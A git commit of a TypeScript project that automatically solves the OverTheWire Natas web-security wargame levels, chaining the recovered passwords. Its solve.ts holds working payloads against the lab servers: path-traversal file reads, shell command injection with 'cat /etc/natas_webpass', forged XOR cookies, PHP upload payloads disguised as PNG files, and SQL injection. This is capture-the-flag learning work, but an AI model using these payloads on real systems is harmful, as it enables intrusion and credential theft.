initial
This commit is contained in:
commit
ed8bf400d1
7 changed files with 352 additions and 0 deletions
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
|
@ -0,0 +1,2 @@
|
|||
node_modules
|
||||
passwords.json
|
BIN
bun.lockb
Executable file
BIN
bun.lockb
Executable file
Binary file not shown.
55
index.ts
Normal file
55
index.ts
Normal file
|
@ -0,0 +1,55 @@
|
|||
import solve from "./solve";
|
||||
import { getPasswordFor, savePassword } from "./util";
|
||||
|
||||
async function main() {
|
||||
let prevPassword = "natas0";
|
||||
|
||||
for (let i = 0; ; i++) {
|
||||
console.log(`Solving level ${i}`);
|
||||
|
||||
const savedPassword = await getPasswordFor(i);
|
||||
if (savedPassword) {
|
||||
console.log("saved");
|
||||
prevPassword = savedPassword;
|
||||
continue;
|
||||
}
|
||||
|
||||
const user = `natas${i}`;
|
||||
const fetchReplacement = async (url: string, init?: RequestInit) => {
|
||||
const newUrl = new URL(
|
||||
url,
|
||||
`http://natas${i}.natas.labs.overthewire.org/`
|
||||
);
|
||||
const headers = new Headers(init?.headers);
|
||||
|
||||
const authorization = btoa(`${user}:${prevPassword}`);
|
||||
headers.set("Authorization", `Basic ${authorization}`);
|
||||
const newInit = { ...init, headers };
|
||||
console.log(newUrl, user, prevPassword, newInit);
|
||||
return await fetch(newUrl, newInit);
|
||||
};
|
||||
|
||||
const solveFn = solve[i];
|
||||
|
||||
if (!solveFn) throw new Error(`No solution for natas${i} yet.`);
|
||||
|
||||
try {
|
||||
const password = await solveFn({
|
||||
username: user,
|
||||
prevPassword,
|
||||
fetch: fetchReplacement,
|
||||
});
|
||||
|
||||
if (typeof password !== "string") throw new Error("non-string output");
|
||||
|
||||
prevPassword = password;
|
||||
savePassword(i, password);
|
||||
} catch (e) {
|
||||
console.log("sad");
|
||||
console.trace(e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
main();
|
5
package.json
Normal file
5
package.json
Normal file
|
@ -0,0 +1,5 @@
|
|||
{
|
||||
"devDependencies": {
|
||||
"bun-types": "^1.0.4-canary.20231004T140131"
|
||||
}
|
||||
}
|
209
solve.ts
Normal file
209
solve.ts
Normal file
|
@ -0,0 +1,209 @@
|
|||
import { bytes2str, determinePeriod, hex2bin, xor } from "./util";
|
||||
|
||||
const solves: SolveFn[] = [
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/");
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas1 is ([^ ]+)/);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/");
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas2 is ([^ ]+)/);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/files/users.txt");
|
||||
const text = await result.text();
|
||||
const match = text.match(/^natas3:([^\s]+)$/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
// Discover this URL through /robots.txt
|
||||
const result = await fetch("/s3cr3t/users.txt");
|
||||
const text = await result.text();
|
||||
const match = text.match(/^natas4:([^\s]+)$/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/", {
|
||||
headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
|
||||
});
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas5 is ([^\s]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/", {
|
||||
headers: { cookie: "loggedin=1" },
|
||||
});
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/includes/secret.inc");
|
||||
const text = await result.text();
|
||||
const secret = text.match(/\$secret = "([^"]+)"/);
|
||||
|
||||
const params = new URLSearchParams([
|
||||
["secret", secret[1]],
|
||||
["submit", "Submit+Query"],
|
||||
]);
|
||||
const result2 = await fetch("/", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: params.toString(),
|
||||
});
|
||||
const text2 = await result2.text();
|
||||
|
||||
const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
// Local file inclusion
|
||||
const result = await fetch(
|
||||
"/index.php?page=../../../../../etc/natas_webpass/natas8"
|
||||
);
|
||||
const text = await result.text();
|
||||
const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const encodedSecret = "3d3d516343746d4d6d6c315669563362";
|
||||
let secret: any = hex2bin(encodedSecret);
|
||||
secret.reverse();
|
||||
secret = bytes2str(secret);
|
||||
secret = atob(secret);
|
||||
|
||||
const params = new URLSearchParams([
|
||||
["secret", secret],
|
||||
["submit", "Submit+Query"],
|
||||
]);
|
||||
const result = await fetch("/", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: params.toString(),
|
||||
});
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch(
|
||||
"/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
|
||||
);
|
||||
const text = await result.text();
|
||||
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch(
|
||||
"/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
|
||||
);
|
||||
const text = await result.text();
|
||||
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const result = await fetch("/");
|
||||
const originalCiphertext = atob(
|
||||
decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
|
||||
);
|
||||
const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
|
||||
const fullKey = xor(originalCiphertext, originalPlaintext);
|
||||
const key = fullKey.slice(0, determinePeriod(fullKey));
|
||||
|
||||
const data = { showpassword: "yes", bgcolor: "#ffffff" };
|
||||
const encrypted = encodeURIComponent(
|
||||
btoa(bytes2str(xor(JSON.stringify(data), key)))
|
||||
);
|
||||
|
||||
const result2 = await fetch("/", {
|
||||
headers: { cookie: `data=${encrypted}` },
|
||||
});
|
||||
const text = await result2.text();
|
||||
const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const data = new FormData();
|
||||
data.append("filename", "index.php");
|
||||
const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
|
||||
data.append("uploadedfile", new Blob([payload]), "index.php");
|
||||
const uploadResult = await fetch("/", {
|
||||
method: "POST",
|
||||
body: data,
|
||||
});
|
||||
|
||||
const text = await uploadResult.text();
|
||||
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||||
const url = urlMatch[1];
|
||||
|
||||
const fileResult = await fetch(url);
|
||||
return (await fileResult.text()).trim();
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const data = new FormData();
|
||||
data.append("filename", "index.php");
|
||||
// From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
|
||||
const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
|
||||
const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
|
||||
data.append("uploadedfile", new Blob([header, payload]), "index.png");
|
||||
const uploadResult = await fetch("/", {
|
||||
method: "POST",
|
||||
body: data,
|
||||
});
|
||||
|
||||
const text = await uploadResult.text();
|
||||
console.log("result!", text);
|
||||
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||||
const url = urlMatch[1];
|
||||
|
||||
const fileResult = await fetch(url);
|
||||
const text2 = await fileResult.text();
|
||||
const match = text2.match(/\(([^\)]+)\)/);
|
||||
return match[1].trim();
|
||||
},
|
||||
|
||||
async ({ fetch }) => {
|
||||
const params = new URLSearchParams([
|
||||
["username", `" or 1=1 or "`],
|
||||
["password", ""],
|
||||
]);
|
||||
const result = await fetch("/", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: params.toString(),
|
||||
});
|
||||
const text = await result.text();
|
||||
const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
|
||||
return match[1];
|
||||
},
|
||||
];
|
||||
|
||||
export default solves;
|
||||
|
||||
interface SolveFn {
|
||||
(props: SolveFnProps): string | Promise<string>;
|
||||
}
|
||||
|
||||
interface SolveFnProps {
|
||||
username: string;
|
||||
prevPassword: string;
|
||||
fetch: (url: string, init?: RequestInit) => Promise<Response>;
|
||||
}
|
5
tsconfig.json
Normal file
5
tsconfig.json
Normal file
|
@ -0,0 +1,5 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"types": ["bun-types"]
|
||||
}
|
||||
}
|
76
util.ts
Normal file
76
util.ts
Normal file
|
@ -0,0 +1,76 @@
|
|||
import { createWriteStream } from "node:fs";
|
||||
|
||||
const fileName = "./passwords.json";
|
||||
|
||||
export async function getPasswordFor(level: number): Promise<string | null> {
|
||||
try {
|
||||
const file = Bun.file(fileName);
|
||||
const data = await file.json();
|
||||
return data[`natas${level}`];
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export async function savePassword(
|
||||
level: number,
|
||||
password: string
|
||||
): Promise<void> {
|
||||
let data = {};
|
||||
|
||||
try {
|
||||
const file = Bun.file(fileName);
|
||||
data = await file.json();
|
||||
} catch (e) {}
|
||||
|
||||
data[`natas${level}`] = password;
|
||||
createWriteStream(fileName).end();
|
||||
await Bun.write(fileName, JSON.stringify(data, null, 2));
|
||||
}
|
||||
|
||||
export function hex2bin(hex: string): number[] {
|
||||
const buf = [];
|
||||
for (let i = 0; i < hex.length; i += 2) {
|
||||
const byte = hex.slice(i, i + 2);
|
||||
buf.push(parseInt(byte, 16));
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
export function bytes2str(bytes: number[]): string {
|
||||
return bytes.map((c) => String.fromCharCode(c)).join("");
|
||||
}
|
||||
|
||||
export function xor(str: string, key: string | number[]): number[] {
|
||||
const result = [];
|
||||
str.split("").forEach((c, idx) => {
|
||||
const pIdx = idx % key.length;
|
||||
let c2;
|
||||
if (typeof key === "string") c2 = key.charCodeAt(pIdx);
|
||||
else c2 = key[pIdx];
|
||||
result.push(c.charCodeAt(0) ^ c2);
|
||||
});
|
||||
return result;
|
||||
}
|
||||
|
||||
export function determinePeriod(
|
||||
arr: number[],
|
||||
threshold: number = 1,
|
||||
limit: number = 50
|
||||
): number {
|
||||
let period = 1;
|
||||
let lowest = null;
|
||||
while (period < limit) {
|
||||
let sum = 0;
|
||||
for (let i = period; i < arr.length; i++) {
|
||||
sum += arr[i] ^ arr[i - period];
|
||||
}
|
||||
console.log(period, sum);
|
||||
|
||||
if (sum === 0) return period;
|
||||
if (lowest === null || sum < lowest[0]) lowest = [sum, period];
|
||||
period += 1;
|
||||
}
|
||||
|
||||
if (lowest <= threshold) return lowest[1];
|
||||
}
|
Loading…
Reference in a new issue